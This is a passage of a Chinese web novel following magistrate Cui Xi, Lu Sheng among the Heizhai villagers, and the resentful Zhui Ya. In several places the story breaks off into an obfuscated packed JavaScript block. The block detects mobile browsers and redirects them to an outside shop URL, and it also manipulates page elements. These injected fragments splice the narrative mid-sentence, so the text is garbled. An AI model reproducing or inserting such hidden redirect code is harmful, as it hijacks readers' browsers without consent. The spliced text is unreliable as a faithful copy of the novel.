“赵某自然是知晓的,此事都为隹氏自作主张,听闻我调任江南他们便大加贿赂,本县已将此赃物送予刺史明察。”赵昙双手一拱举过头顶,说到刺史还是遥遥一揖。 秦厌佩服,这样的人不高升谁高升? 能把顺带贿赂说得如此刚正不阿清新脱俗,也就这位赵昙赵县令了。 “原来如此,赵县令忠义之举实在令人钦佩。今日时候不早,本县要回去批改公文,赵县令请便吧。”崔息不慌不慌站起身,理一理袍子抬腿要走。 赵昙这下明白了,刚才的节奏全由崔县令控着,自己为什么来要怎么说,一套打乱步步不及。 而且说到最后怎么还绕到这熊掌之上,这不是坐实了自己与隹氏在离任永平后仍有往来么! “诶,崔县令,赵某也不再相瞒了,请你留步,留步啊!”赵昙赶紧喊住崔息。 “相瞒?原来赵县令还有事相瞒?”崔息只作不知。 赵昙看了大骂狡猾,看来自己与崔氏门人的距离还异常遥远,就这样一个拿来顶罪流放的冒牌探花也要斗得阵脚大乱。 “是,全怪赵某贪功,崔县令高义赵某实在不及,只惦记了一两分功绩就差点断送大事。崔县令就听我一言吧!”赵昙七分真三分假地说道。 崔息没有思索直接坐了回去。 这么干脆的模样让赵昙怀疑是不是这小子运气好刚才的节奏打乱不过是无心为之,只是自己太过紧张所以失了先机。 “崔县令,我有同僚在京畿要地为官,圣人说是外患方解只怕内忧,所以如今已派钦差各地巡视边陲,而永平县据说也在那巡视名单里,再过一两个月你就会接到刺史消息的。” 赵昙把最重要的一条消息露给崔息,他知道再不讲这小子不管是装傻还是真傻他都是真要走! 而自己拖延不起,官职在身不可在此地逗留太久。 “所以依照赵县令的意思我应当如何做呢?”崔息目露真诚。 赵昙信心重归,是自己把他想得太复杂,或者说这崔息胆子太小,只有自己露出关键一手才肯合作。 “我会将所有证据都给崔县令,到时一并呈给钦差即可。” “就这么简单?” “就这么简单!” “好!”崔息一拍桌案。 赵昙松下一口气,这事算骗成了一大半。 毕竟这样的功劳实在诱人,重振永平县再发新矿产,这些足够这崔息仕途再进一步。 “证据便在库房那第三个架下,你把那架子挪开,再将地板撬开,凿破石头便可取得。”赵昙直接把地方说了。 “如此而已?” “不错。”赵昙对自己的藏物之法颇有自信。 他那些证据也搜集得很足,只要谢家的账簿没有烧,查出来便是伤筋动骨。 但这个做法亦有弊端,下一任永平县县令多半是要记恨崔息的。 那矿产谢、隹两家都有,两家在本地的关系盘根错节,如此连根拔起必定大伤元气。 这也是他不愿做此事的原因之一,毕竟断人财路如杀人父母。 “赵县令实在高义。”崔息夸奖。 赵昙摆摆手说受之有愧,又讲了些此事若成便如何如何的话。 他话语之中满是对以后仕途的畅想又约定如何相携,聊到月破云又落下才罢休,就是没有酒水作陪,不然还可以再真一些。 崔息送他出门,秦厌赶车回去。 回到府里,秦厌问崔息:“公子这赵县令的话可靠吗?” “不可全信,也不可不信。”崔息按一按自己的眉心,虚与委蛇总是疲倦且无聊。 每次太轻易就看到了赵昙的目的,他不过是求己完满再将麻烦甩给自己,索性将计就计。 - 第二日崔息派秦厌去找赵昙,他这一拒绝谢栖真出去多少有些麻烦,叫秦厌护送一下,免得证据缺失人却死了或者失踪。 可秦厌去他所指的客栈一问,说是人连夜就出了城,租的两匹好马,很是着急。 “倒是警惕……” 想到他藏东西的方式,崔息觉得他其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周围农户纷纷笑起来,但一笑完便来搭把手,这里试试那里讲讲。 不多时牛“哞哞”地叫几声开始拖动那曲辕犁,利处破土,犁到最后时要调换位置,曲辕犁调换简单,稍加操作便可开始第二行的疏松。 丰娘少有如此局促的时候,但是崔息没有看笑话的心情,颇有些敬佩,这是莫大的勇气也是真愿农户们蒸蒸日上。 “阿郎,今日闹了不少笑话,但还算顺利。”丰娘已经看到他们,走过来简单概括两句。 秦厌问:“丰娘,怎么突然想着来做这事?公子不是说等秋收以后再讲么?” “空着也是空着,做一些事也好,这时候试过,秋收以后再说效果不就更好了?而且总不能以后叫阿郎也闹笑话。” 杨珞云也走过来,她远远就在拍灰尘。 “如果以后农户们都能用上这曲辕犁那可省心省力多了。” 崔息又看看西南方那层叠的山峦,陆笙也说它用了以后可省心省力。 别看只是减轻不多的时间,那可能是一不小心就过度的导致身体劳损的最后一根稻草,也可能是在孩子触碰危险时及时阻止的一双手,很珍贵。 “阿郎,你在想什么?” “没什么,你们继续吧。秦厌,你留下护卫。” 秦厌不解,这有什么好护卫的,丰娘也是有本事傍身的。 后面听公子说“我一个人走走”才明白,原来他是要疏散疏散,是又想念笙姐姐。 也是,谁不想她呀! 67. 第 67 章 “阿嚏!” 陆笙忽然打了个喷嚏,这一下惊走了几个人正在追踪的一只香鸡,那彩色羽冠满身棕色羽毛的香鸡咻得一下从四个人眼下遁逃,只剩下阳光照不透的绿荫。 卡依都笑嘻嘻地问陆笙是不是昨夜受了凉,倒是一点也没生气,因为本来打猎就是这样,时常会因为各种小事无所获。 也正是因为打猎不稳定,所以桐吾阿克决定向陆笙请教如何种植稻米。 阿姐也说以后黑寨的人会越来越多,如果稻米永远只靠向外获得,那么黑寨的分崩离析就近在眼前,阿姐又看到了自己看不到的地方。 “陆笙,昨天让你多盖一条薄被的,你不听,现在可好,把我们大家的午饭给惊跑,你说说,该怎么罚你?”卡铃将砍刀收回腰间,戳一戳陆笙的肩膀。 “你们不是说从那边的山一眺就能看到有个石潭么?等下我就下石潭给你们摸鱼吃,或者捉些竹虫再捡些菌子炒着吃。怎么样?”陆笙解下水囊灌一口甘甜泉水,语气丝毫不慌。 “陆笙你说你不会是我们黑寨里出来的孩子吧?能学蛇语还爱吃竹虫,你可一点不像北人!”卡依走过去拍了拍陆笙的背。 陆笙赶紧收了水囊,生怕自己给呛到,但她的手掌传来的力气柔和,像风过竹叶一般。 卡铃却不同意,说陆笙明显是北人,她做菜的法子就是北人的路数,最关键她心坎坎里信的都是北人说的。 陆笙不辩驳,只是笑,折了一根竹枝去拨弄树叶上的虫子。小小的一团,阳光透过叶子却透不过它,在叶背面留下了一个圆圆的黑点。 这一片叶间世界倒像是现在的心境,明光照不透的一点,是她有点想念崔息了。以前不觉得,现在发现和他一起竟然凭空多多几分自由肆意,有他在身边时竟然多了两分不惧失败的勇气。 犀木在一旁削木头,削个鱼叉子,到时方便捉鱼。 他还没有吃过陆笙做的菜,所以不知道她做的菜是南还是北,但看陆笙的面孔确实不是黑寨的孩子,她的骨相不是这里的土人。 “我们姐妹闹起来了她倒是置身事外,快,捉她来砍竹子抓竹虫。”卡铃招呼陆笙过来。 陆笙走过去,手一摊,叶片之间的碎光落在掌心,阳光如铃响,只是看得到听不到。 “怎么?”卡依一拍她的手问她。 “得给我一把刀,还没成螳螂,砍不了。” “你腰间的刀不能砍吗?”犀木问道。 他看到陆笙腰间一直别着一把北人打的刀,看刀柄是把不错的刀,至少刀柄做得无比考究。这种刀在黑寨不多见,或者说几乎没有。 陆笙握住刀柄,手指摩挲一下笑着解释:“太金贵,舍不得用。” “那你带着做什么?”卡铃震惊,陆笙怎么进林子怎么会带没有用的东西。 陆笙也愣住。 “没开刃么?”卡依想去摸来看看,陆笙却不松手。 “开刃了。”她退后两步,手握住刀柄用力一拔。 三人只觉寒光一闪,如光跃水面似的刀面。竹叶被风推去刃口,只见一片绿变成两片绿,坠地的坠地,翻飞的翻飞。 “好刀!”犀木不由赞叹,真是好刀,捶锻的花纹在光下若隐若现,伏波涌起似得。 卡铃这下明白了,这刀太好,不是用来砍竹子的,是用来结果人性命的。 这样的刀快得沾不上血,拿来砍竹子确实可惜。 陆笙看三个人怔怔的眼神有些得意,但还是马上将刀收入木鞘。 “就是这木胎的刀鞘差了点意思,像是三月三唱歌最好的姑娘躲在家里。”卡依对刀鞘不满。 犀木也跟着叹息,卡依有些奇怪,他叹什么气,不是一直对刀鞘没有什么要求么? 感觉手臂被轻轻抓了抓,犀木忧愁的面孔抬起来,看到卡依询问的目光。 “犀木,你怎么了?”卡铃也发现了犀木的不对。 “我……我还是不太放心那些稻田,就把谷子撒下去能行吗?”犀木看过北人种的地,疏疏朗朗整整齐齐,怎么会是把秧苗全部洒在一小块地上。 陆笙知道他的意思了,便问:“犀木觉得要如何才好?” “我当时就想问,我见过北人的地,那秧苗不是这样的,洒上去的稻谷只能出来密密麻麻的苗吧?”犀木两条眉毛紧紧皱在一起,眉心几乎要凹下去。 看得出他忍耐了很久,也是真的担心。 陆笙倒也没有生气,只是天然的不信任罢了,谁让她是“北人”。 只是她不喜欢“当时就想问”这句话,既然想,怎么不做,非要等到现在。 “那是要一颗一颗种子埋下去咯?”陆笙反问。 犀木听到她这样说心里又觉得哪里不对,一颗一颗种子,一颗种子只有他指甲盖的十分之一大小,稍微不留心就漏了十几颗下去。 “也不是……”犀木否决了这个法子。 “那该如何?”陆笙还是笑,眼神却没有温度,皮笑肉不笑的样子。 卡铃和卡依也有疑问,但是她们和陆笙还是有些交情,一半相信一半不好意思问。 犀木看她那个样子带了几分阴阳怪气似得,心里头那股气就忽然上来,虽然桐吾阿克对她敬重有加,但不代表她可以弯弯绕绕地戏耍人。 “是你受邀来我们寨子教种地的,怎么这样子说话,要是我们知道怎么还问你呢?” 卡依拉住他的手,说出口的话犀木也觉得有些过了,但是刚才那口气就是下不来。 “当时就该问,有谁拦着你了?现在问可以解决问题么?”陆笙双手怀抱胸前语气带着点漫不经心。 卡铃有点不好意思,陆笙说得都是对的,如果有错也是她们的错,当时为什么不问呢? 这是关乎黑寨的大事,就这么轻轻揭过了,或许是当时对陆笙的信任和那一份犹豫实在忽轻忽重。 想到这里卡铃心里有点冷,她感觉到了一点未来的事情。 犀木不吭声,卡依已经对他皱了眉头,他知道自己嘴笨肯定是说错了话,还是不小的话。 “如果当时你问,我就会说等到秧苗全部长起来,到时候分成一棵又一棵,精耕细作的话就需要拉线再插秧。”陆笙把手里的竹枝掰断扔在地上。 三个人听了有些脸红。 “好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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卡铃问她在干嘛,她说在踩阳光的两点,一下中一下不中,有时要判断风向再跳很好玩。 卡依说:“这种事我十岁就不做了,陆笙你都嫁人了怎么还这样呀,永平的那个县令不会说你吗?” “嫁人要怎么样?”陆笙继续踩,她越来越顺,几乎每一下都中。 卡铃在旁边看得心痒,也试一试,但这事比她想得难许多,明明光点就在那里,可到中途时往往有风飘走了。 卡依思考半天也说不出个所以然。 “你嫁犀木以后不就知道了?”卡铃戳戳她。 “阿姐!你讨厌!”卡依扯住阿姐的袖子不让她跳了。 看着光斑卡依想到犀木的心,明晃晃的但是踩又踩不中,明明到这里就应该求娶自己了,他还在等什么呢? 别人都以为是自己熬着犀木,但实际上是他始终不说。 一片阴翳从侧边盖过来,地上的阳光风铃不见了。 卡依抬头一看是一大批遮天蔽日的攀缘植物,遮住了阳光,把这段路变作幽深的洞穴。 好在没走几步就是豁然开朗的天光,她已经可以听见鱼儿跳出水面的声音。 68. 第 68 章 陆笙脱鞋踏入水中。 嘶……这水似乎还没从冬日中苏醒,一瞬间冰得有些刺痛。 当年下水捞宝刀时她就落下了一些心理阴影,对冰水一直心生畏惧,有时还可忍受的也变得分外煎熬,但是总有不得不,比如下共河的时候。 将支撑在岸边的手抬起,陆笙完全站在水潭之中。 她抬脚左右走了几步。 还好,下面是冲洗去了棱角的卵石,不滑,走起来没什么危险。 这处石潭与黑寨东边的那个不相同,那一个石潭石头分外尖锐,水流过激起白色的泡沫与水花,声音有些吵闹,此处水声潺潺,调子舒缓动听。 仔细一看,在石潭中间还有一块裸露的大石。 陆笙觉得那是个睡觉的好地方,特别是在有皎洁的月亮的夜里。 微风澄澈着光明,月影摇晃,自己就躺那里发呆,什么都不用想。不过念头飘过又被她捉住篡改,改成太阳暴晒过的石头。这样粗粝的石面会晕开热气,凉风不至于叫她生病。 不对,这样自己是不是要趴着躺?不然肚脐还是在上面受风。 “陆笙你发什么呆,快摸鱼!”卡依蹲在岸边指挥。 这里的水澄澈异常,卡依看了也忍不住,她把裤子挽起,但小腿入水后绷得笔直,原来她也觉得冷。 陆笙叫卡依往水来处走,不然两个人一起摸鱼,鱼还没摸到呢水已浑得瞧不见水底模样。 卡依说那可要比一比谁才是摸鱼的好手! “那彩头呢?”陆笙笑问。 从前走镖时这样突然兴起的游戏都会增加一些彩头,增三分兴致。 “输了的人劈柴三天柴洗三天碗再加一次腰捶背,如何?” 她下巴一昂很是自信,自己才不会输呢!自己的五感比陆笙强,找到鱼的概率也比她高。 “好,我输了就帮你做这些,但你输了可要教我怎么射快箭。” 陆笙看见过卡依的看家本事,那箭几乎不停,她自己练了许多次,速度是上去了但还远没有卡依的快。 “行,但你可学不会我的本事,我只教你三次,还是琢磨不来就不怪我藏本事!” 卡依觉得很难输给陆笙,痛快答应下来。 两个人在水潭两边各自开始寻找放松警惕的游鱼,四周树影扶疏,树影安然落在四周。 在岸上看去此时便是盛景了,可陆笙只觉得眼睛刺痛。 自己双腿移动时带来的水面起伏让光闪烁不定,鱼出没得位置忽而在前忽而在后,手一身过去就不见了踪影,只剩下着慌忙移动时激扬起的泥沙。 这样摸下去肯定不行,陆笙的鼻尖冒汗,转头去看卡依。 没想到两个人直接对视上,两双眼睛弯弯,会心一笑。 “哈,你也摸不……诶,陆笙,你要认输了么?” 卡依笑吟吟地打趣她,谁知陆笙双手扶着岸边的石头先是左脚抬起,最后右脚也离了水面。 她离水面时身体微微倾斜,袍子一角直接浸泡在水里。 卡依噗嗤一笑,陆笙略狼狈地把吸满清水的袍子挤一挤,挤完后答:“我休息一会。” 她确实要休息一会儿,那水冷得让她颤抖,脚几乎要失去知觉。算一算日子,察觉是生理期要来临,所以自己的感受变得如此强烈。 “你不说实话,看你的眼睛就知道,飘飘忽忽的。” 卡依不信,陆笙这么狡猾怎么可能直接认输?她倒要看看自己识破她以后,她要怎么圆。 “这都被你看出来了,你的眼睛真厉害。”陆笙边回答边把腿上的水擦干,网络状的青紫色的血管已在自己皮肤浮现,好在现在有阳光,知觉随温度慢慢回来。 卡依在水里出手,水花飞溅,但鱼从身边逃走,鱼尾用力摆动,甚至直接在空中划出弧线。 千钧一发之际,卡依腰腹用力手出如箭,一下扣住鱼身! “怎么样,厉害吧?”卡依抹去鱼尾的溅在脸上的珠得意地问陆笙。 她面容在璀璨的波光里看不清,曝光的画面里只有她的身影。但陆笙看得依旧激动,甚至为她鼓掌,刚才那一手自己是使不出来的,飞光如电简直,五感凭着本能忽然调动,太厉害! 卡铃和犀木在捡木头听到动静时卡依已经举着手朝他们挥舞,犀木的目光不自觉温柔。 陆笙捕捉到了这段情绪的流动,鼻子忽然有点发酸,这莫名袭来的情绪。 不是悲伤的,或许是幸福吧,为别人的幸福瞬间而开心。 以及,一点点想念。 “陆笙你可要输了哦!”卡铃从陆笙身边走过,在石潭周围寻摸一些石头做简易的火塘。 “我们能在那石头上铐么?”陆笙忽然跳出个莫名的奇思。 卡铃说当然不行。 “犀木坐下就占一半了,剩下三个人怎么办,我和你要在水里站着吃吗?” “也是。”陆笙摸摸鼻子,有点不好意思。 或许是瞧出了陆笙没有再下水的意思,卡铃叫犀木去跟着卡依一块摸鱼。 “陆笙,你来帮我生火!” 陆笙是生火的好手,以前一块的时候她在湿热的密林里也能生出干燥明亮的火焰,让大家避免了不少麻烦。 她接过生火的工具开始动作,卡铃忽然从贴身的布袋里掏出一撮已经晒得干瘪看不出是什么的棕色草叶。 “你快要见红了吧?等一下放竹筒里冲了喝。” “好,多谢。”陆笙忽然想起来,好像卡铃之前是要继承大巫位置的,但是具体为何没有做她也不知道。 卡铃听到她说谢只是浅浅淡淡地一笑。 陆笙站起来取竹筒,又把石头放在火塘里炙烤,完全滚烫后去较上游的地方取了些水,再用两片竹子把石头弄进去。 滚烫的石头靠近水面,水面立刻喧嚣沸腾。 之后石沉入水,带着黑色的草木灰,陆笙再把那些药材放入,这时候竹筒里的水简直不能看,黑色的一片。 “你放会儿在喝,不然嘴巴又要黑几天,叫人无故笑!。”卡铃按住陆笙要喝水的手。 “噗,我舌头不是铁做的,就是想看看这个灰怎么沉下去的。”陆笙指尖才搭上竹筒边缘,粗糙的断口压得她指腹凹陷。 卡铃白她一眼:“你都多少岁了,还跟孩子似得对这种的事都好奇呀!永平镇的北人还说我们见识少,你在那不是要被人天天笑?” “笑就笑嘛,也拦不住。”陆笙眼睛直往竹筒那瞟。 “你以后若是做了母亲该怎么办?真是想不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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之后犀木去处理鱼,陆笙被领着去咬软木枝,咬出纤维然后一点点把黑灰擦干净。 擦完回去犀木已经在烤鱼,木枝插在火边,鱼的一侧已经因为火焰的温度而微微发皱发黄,再烤一会儿就会有焦脆的口感。 几个人耐心地等待,在石潭边说说笑笑,就是快吃完的时候一大片乌云降临,遮天蔽日的。再过不久是珍珠大小的雨水,一颗一颗砸下来,砸到石潭和树叶上,噼噼啪啪。 几个人躲到那段茂密如洞穴的爬藤植物下,陆笙的脚上沾满的枯叶。她走到能被雨水淋湿的地方,人稍微退后几步,脚伸出去一点,只是几颗雨滴就把她的脚砸出了红色印记,但枯叶一点也没落下。 卡铃无奈,尤其是看到直到雨停时,她的脚底还是没干净一点! 雨停停又落落,回到黑寨时已近黄昏,四个人唱着歌从林中出来,借了一把火继续往回走。 只是不知道是否是错觉,借火给他们的那人家的屋子里,有个背影陆笙特别眼熟。 像…… 那个从谢栖真房间里出来的那个人。 陆笙还来不及细看那人就站起身来,挪到了自己看不见的地方。 69. 第 69 章 雨连天地下,除午后偶尔地放晴之外便是无尽的山雾与弥漫的雨汽。 隹崖光着膀子坐在床边。 下雨出不了门,昨天又和阿叔、阿婶喝了半宿的酒,现在脑子还是昏沉的。 雨水啪嗒啪嗒地落,一只黄鸟躲在他的窗边歌唱,声音婉转清扬。隹崖捞了些米粒,可一开窗黄鸟就被惊走。 它在密密的雨帘里飞了一圈马上又转回来,湿了水的羽毛叫它不堪重负,翅膀上上下下地振,飞得也歪歪斜斜。 偏偏隹崖靠在窗边,就这么悠哉地盯着,黄鸟不敢贸然上前。 看了一会儿隹崖察觉出黄鸟已经精疲力尽,他笑着把手中的米放下然后退后几步。 可那点距离黄鸟居然飞不过,只差一点点就要够到,脚却没有捉住窗沿,直挺挺地倒下去,翅膀扑腾几下也没了气力。 隹崖伸手一捞,黄鸟已经吓得闭上了眼睛。 他把黄鸟放在屋子里,他清清嗓子对着它鸟叫几声,黄鸟睁开眼睛翅忙脚乱地在原地胡乱扑腾了几下,发现自己一切如常,脚边还有米粒。 “笃、笃笃、笃……” 黄鸟惊慌后啄了几粒米,木板上有些老旧的纤维被它啄过以后变得更松,细细的木纤维弹出一些。 隹崖给它寻了一片旧布,又那些了阿婶堆的秸秆。“可怜的小东西,这给你避一避雨。”隹崖戳一戳它的脑袋。 小家伙却气恼得轻啄隹崖的手,现在它只想吃米。不过它的伤害约等于无,隹崖光觉得有些轻微的痒。 吃完米,黄鸟跳过来蹭一蹭隹崖的手,它开始用尖喙梳理被雨水打湿的羽毛。 窗外的雨声依旧,望出去晨昏不分,但是围绕在屋子旁边的菜蔬和草木却愈发地鲜绿,仿佛是抽调了天地的清明为它们赋色。 昏沉的天地和茁壮的草木,隹崖觉得自己似乎也有半分北人所谓诗人的才能,虽然阿真说“诗言志”。 想到这里他轻轻拍一下额头,头又开始痛,昨日的酒大约实在不好,现在人如天气,混沌不清又充斥着响动。外面是噼噼啪啪,自己的脑袋是嗡嗡鸣鸣。 黄鸟听见响动警惕地一歪头。 隹崖不拍了,怕又惊到这只黄鸟。 任凭身体中的灵魂翻滚痛苦,隹崖再没动作,他只是仰面躺着,睁着眼睛。 过了一个时辰,或许是两个时辰,楼下终于有了些响动。 隹崖听到阿叔的咳嗽声,之后是木头折断的声音和火焰偶尔发出的嘭啪声,估计是阿叔塞了什么湿竹子进去。 脚步声来回得交错,两个人一直没有停歇,直到金属锅子里倒进了水,下面的声音终于渐小渐无,逐渐被滚沸的水取代。 “隹崖,下来喝茶咯!”阿婶拿木棍敲了敲楼梯,她声音嘹亮,比打鸣的公鸡都更胜一筹。 隹崖想爬起来,但是手支撑到一半人就发晕,最后是半爬到楼梯那,然后坐着一下一下挪动。 阿婶已经把大陶碗放在楼梯那,隹崖举起碗吹了吹,一口饮尽。 “阿婶,你这大茶烤了多久啊?苦死了!”隹崖整个脸皱起来,那种苦涩简直难以言喻,像给了他一拳,但人倒是越来越清醒。 阿叔脸上的皱纹像梯田一样排列,看着他的表情倒舒展不少,只是很快又皱回去。 “喝醉了得多喝点大茶,这烤得还不算厉害的嘞,”阿叔把自己碗里的茶水饮尽,他脸上皱纹愈发地深,好在回味却甘甜。 每次隹崖都是看他眉心,苦的时候是紧蹙的,甜的时候就是放松的。 喝完这一碗,隹崖走到火塘边,现在靠近这里已经有些热了,但能去一些湿气。下了这么多日的雨,空气里都是水汽,身体上黏腻一层偏偏又不滑。 想到大巫说的人死后会去共河,那是不是意味着会变成游鱼一样可以在水里自由沉浮的生物?想完他又笑,什么无关的乱想,就算是鱼也不能在雨天的空气里游泳。 阿婶又给他添了一大碗茶,这次是加了调料和炒米的,当早饭吃。 “阿婶,那稻花鱼还能不能摸成啊?”隹崖忽然问起这问题。 阿婶捧着碗,亮晶晶的眼弯一弯,她讲:“那肯定能摸,雨天过了就行。反正只是取个好听的名头,真的稻花鱼要九月呢!这次的鱼不一定有那么鲜甜,要是不鲜,我就多腌一点放起来。” “你可别腌太多,哪个不知道你,手快得很,腌少一点就吃不完到处送,多一点满寨子都要吃我们家的腌鱼咯!” 两个人感情好,笑嘻嘻地你唱我和。 隹崖不说话,默默地吃一口擂茶,阿婶喜欢放很多姜,那辛味一发散,叫人汗水淋漓。 “阿婶我问你咯,你们黑寨的阿克是不是请了一个北人来教种地?我听说都这个时候了,她搞的秧苗才出手掌那么一截,这能行吗?”隹崖的头脑逐渐清醒并开始询问关于陆笙的事情。 “说是试种,哪个晓得哟!”阿婶是上山采药换钱的,还会炮制点土药给隹家拿出去卖。 如今她已吃穿不愁,对请北人教种田这事不看好也不看坏,让她去呗,反正又不关自己的事。 隹崖放下碗道:“桐吾阿克也真是,不如找我们家买粮食,反正我阿爹生意做得大,就是路不好走。” “哼,找你阿爹还是算了。”阿叔忽然冷哼一声,阿婶动作也一顿。 “你阿爹已经跟北人一样不敬山神!就连冬捕熊崽这种断子绝孙的事情也做得出来!” 阿叔给火塘添一点柴,拿着碗站起来准备走的时候又回头补了一句:“听说你家还和那边的人做生意……” 对冬捕的事情他无法反驳,但是那边的人是什么意思?!明明你们阿克都叫了北人来当老师,还好意思说我家? 最后还是没有说出来,因为他现在无处可去。 和阿爹有些闹掰后,一回到黑寨就被人围着讲闲话,说他被北人女子骗,在外面闯下大祸才不得已回来。 “你就当个耳旁风,你阿爹是你阿爹,你安心住着,你阿叔只是讲你阿爹不对。”阿婶连忙为自己丈夫的话托个底。 隹崖就是有气现在也不能生,如今是县城待不得,黑寨待不得,只好来找小时候就很疼自己的阿婶。 因为她还没有孩子,以前经常要自己去看看她,但是自己一次都没有去过。 隹崖也知道羞愧,平日里没想着人家,这时候没地方了才知道来投奔,所以来的时候他带了几匹布还有一些吃食与药品,又送给阿叔一把刀。 只是没想到在这里遇上了陆笙。 这个罪魁祸首!隹崖想到她就恨,恨不得一刀结果了她!肯定天意如此,隹崖眸中晦暗一片,怨与恨在他心里滚动不止。 后面雨又连绵了两天,第三天的上午也是阴云环绕。所有人都以为这个下午会与之前一样的时候,天空却放晴。 茫茫的雾气消散在热烈的阳光下,雨水在叶片滴答滴答,洗出了一片鲜艳的新绿。 山上的红艳杜鹃没有之前那么热烈,因为树木好似共河里的水一样疯狂涨起来,淹没鲜花,更是把走出来的山间小道都淹没,绿意底下剩了一些模糊的兽道。 阿婶喊他下午去西边的糯稻地,那里是半野的糯稻地,种子是随便洒的,收成也看天,但那里的田垄比较高,雨水多的天气也不会叫稻花鱼跑出去。 隹崖赤着脚从屋子里走出来,地上软软的,草已经脱了春日的鲜嫩,草芒尖尖刺在脚底是一片痒。 走到田垄那泥就开始多起来,软软的一片,但越走越泥泞,吸抓着双脚几乎要挪不动。 “往这走,铺了秸秆了。”声音有一丝耳熟。 隹崖抬头一看,是那天和陆笙一起来的女人,好像是叫卡铃,听说颇有些声望。 他心中已有些思量,对卡铃笑笑说:“谢谢阿姐,那天是不是你们跟我阿叔借火呀?” “是啊,多谢你阿叔的火。” “那能不能告诉我一下哪里适合摸鱼,我是来探亲的,还不知道哪里可以摸呢,想多摸一些让我阿婶欢喜欢喜!”隹崖笑得有些不好意思。 卡铃给他指了一下卡依、犀木和陆笙在的地方,大方一笑:“你跟着那几个人一起去,摸得少了就讨要几尾,就说是我说的,去吧!” 隹崖道谢,沿着卡铃用秸秆和木头铺出来的路一点点靠近陆笙。 他觉得心在狂跳,陆笙或许认得出自己。因为按照阿真说的话,那天她瞧见陆笙时自己方走不久,遇上的概率是极大的。 可自己没有回头,奔得很快,万一她没有看到自己正脸呢?所以他决定赌一把。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493404|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他的心狂跳,太阳穴处鼓胀不止,血直往脑袋冲,双手发凉的时候自己到了三人身边。 “这不是那天的那个……”犀木认出他来。 犀木的话刚说一半,隹崖因为这几个字词的意思轻轻震了一下,但马上反应过来不是陆笙认出的自己。 卡依看着隹崖涨红的脸有些疑惑,这人是怎么了? “阿姐,她……她说我可以和你们一起捉稻花鱼。对了我叫隹崖,是另一边寨子的。”隹崖指了指在另一边和人说笑的卡铃,顺便把自己的名字说出来。 卡依欣然允诺,犀木也点点头。 唯独陆笙,她都没有转过头来,她扶着一根棍子不知道在做什么。 似乎是发现了隹崖的疑惑,卡依说:“我叫卡依,他是犀木,那边休息的是陆笙。” “睡觉”两个字用在这个场景卡依都觉得不大好意思所以换了“休息”,在正排水的稻田里扶着木棍睡觉,这事也只有她做得出来。 卡依怀疑她是想用困倦来推去捉鱼比赛,上次输了这次就不敢比试。 这时候陆笙的声音幽幽地传来:“卡依我做梦梦见你在心里念叨我。” 卡依立刻捂住嘴,随即明白过来,这人又耍诈,心里说的话怎么要捂嘴呢,自己真是笨! 陆笙笑,又感慨,之前还记得卡依文静些,卡铃活泼一些,没想到时间过去几年大家都变了模样。 “那鱼多,你摸吧。”陆笙指了指南边角落,那边的稻子疏密相间,隐约间还能看到几尾鱼露出脊背。 隹崖为了让自己的面孔多停留在陆笙视线里一段时间,他又问:“你不摸么?这么好的地方!” 陆笙看着他的眼睛不说话,隹崖紧张地有些脑袋发麻。 忽然陆笙笑着说:“太紧张摸不了鱼,别那么紧张,待会儿不够了就拿几条她摸的。” 没有认出来!隹崖被狂喜包围。但欢喜完怨恨陡然升起,而怨恨后又是痛苦。 以前他不明白殉情的人,现在知道了,原来感情尝起来会这样苦涩,像心里漏了一片,血泪俱下。 周围绿色纤长的稻叶被风吹得哗哗作响,隹崖走到陆笙指的南边角落,排完水以后的稻田里大一些的鱼很显眼,他弯腰直接就捂住一条。 田里的水还是浑浊的,鲫鱼在他手里挣扎。他想把鱼装起来,但左右看根本没瞧见那竹篓。 隹崖一回想,糟了,还在阿婶家的树下呢,太紧张根本没拿! “喏,篓子。”陆笙递给他。隹崖连忙道谢,把鱼装进去,他不去看陆笙的脸,感谢和她的脸连在一起自己心里不舒服。 雨后的清风时不时拂面而过,来摸稻花鱼的人越来越多。 弯腰,出手,捉鱼。隹崖不断重复这个动作,脑袋却在想那天自己去找那县令麻烦的事,是因为这件事父亲几乎要和自己断了关系。 心思一跑,隹崖感觉腰酸,他扶着腰站起来,看到卡依和犀木在说悄悄话,不远处和遥远处也有他们这样一对又一对的有情人。 三月三没过几个月,情人正是打得火热的时候,忽然听到“啪”得一声,他一看,原来是在撒娇,不是巴掌声。 阿真的那个巴掌还犹然在耳,它极其响亮得回荡在巷子里,巴掌是阿真自己给自己的。那时候隹崖还没从震惊里缓过神,她就说以后再不能和他联系了。 后来想去找阿真问清楚,可是她换了屋子。谢家很大,他也不敢贸然闯,再之后就是阿爹听说自己找县令麻烦然后震怒的事。 隹崖木呆呆地回想这些摩挲过无数遍的事情,失焦的眼睛慢慢凝聚。他的视野里卡依目光温柔地看着犀木,犀木肩膀宽阔但粗壮的手臂上留了一个泥手印,两个人依偎在一起。 阳光晒的隹崖的脸发烫,汗珠从皮肤上渗出来又汇聚成一线,这就如同他对这件事无数个猜测。最后他推测阿真离开自己是因为两人情事被陆笙撞破。 